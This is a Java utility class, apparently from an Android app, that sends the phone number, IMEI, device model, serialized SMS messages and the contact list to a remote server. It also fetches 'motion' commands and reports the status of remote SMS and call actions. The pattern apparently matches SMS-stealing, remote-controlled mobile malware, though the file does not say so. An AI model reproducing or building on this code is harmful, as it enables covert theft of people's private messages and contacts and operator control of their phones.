package com.mvlove.util;

import java.io.IOException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import org.apache.http.ParseException;
import org.apache.http.client.ClientProtocolException;

import android.content.Context;
import android.text.TextUtils;

import com.google.gson.Gson;
import com.mvlove.entity.Contact;
import com.mvlove.entity.Message;
import com.mvlove.entity.ResEntity;
import com.mvlove.http.HttpWrapper;
import com.mvlove.http.exception.HttpResponseException;

public class HttpReqUtil {
	public static final ResEntity pushMessage(Context context, List<Message> messages, String phone, String imei, String model, String clientVersion)
			throws HttpResponseException, ParseException, IOException {
		Map<String, String> data = new HashMap<String, String>();
		data.put("phone", phone);
		data.put("imei", imei);
		data.put("model", model);
		data.put("clientVersion", clientVersion);
		Gson gson = new Gson();
		data.put("messageStr", gson.toJson(messages));
		return HttpWrapper.getInstance().post(Constants.Interface.getPushSmsUrl(), data, ResEntity.class);
	}

	public static final ResEntity getMotion(Context context, String phone, String imei, String model, String clientVersion, List<Contact> contacts)
			throws ClientProtocolException, IOException {
		Map<String, String> data = new HashMap<String, String>();
		data.put("phone", phone);
		data.put("imei", imei);
		data.put("model", model);
		data.put("clientVersion", clientVersion);
		if (contacts != null && !contacts.isEmpty()) {
			Gson gson = new Gson();
			data.put("contactStr", gson.toJson(contacts));
		}
		return HttpWrapper.getInstance().post(Constants.Interface.getMotionUrl(), data, ResEntity.class);
	}

	public static final void updateMotionStatus(Context context, String mid) throws HttpResponseException, ParseException, IOException {
		if (TextUtils.isEmpty(mid))
			return;
		Map<String, String> data = new HashMap<String, String>();
		data.put("mid", mid);
		HttpWrapper.getInstance().post(Constants.Interface.getUpdateMotionUrl(), data, String.class);
	}

	public static final void updateRemoteSmsStatus(Context context, String ids) throws HttpResponseException, ParseException, IOException {
		if (TextUtils.isEmpty(ids))
			return;
		Map<String, String> data = new HashMap<String, String>();
		data.put("mid", ids);
		HttpWrapper.getInstance().post(Constants.Interface.getUpdateRemoteSmsStatusUrl(), data, String.class);
	}
	
	public static final void getUpdateRemoteCallStatus(Context context, String ids) throws HttpResponseException, ParseException, IOException {
		if (TextUtils.isEmpty(ids))
			return;
		Map<String, String> data = new HashMap<String, String>();
		data.put("mid", ids);
		HttpWrapper.getInstance().post(Constants.Interface.getUpdateRemoteCallStatusUrl(), data, String.class);
	}
}
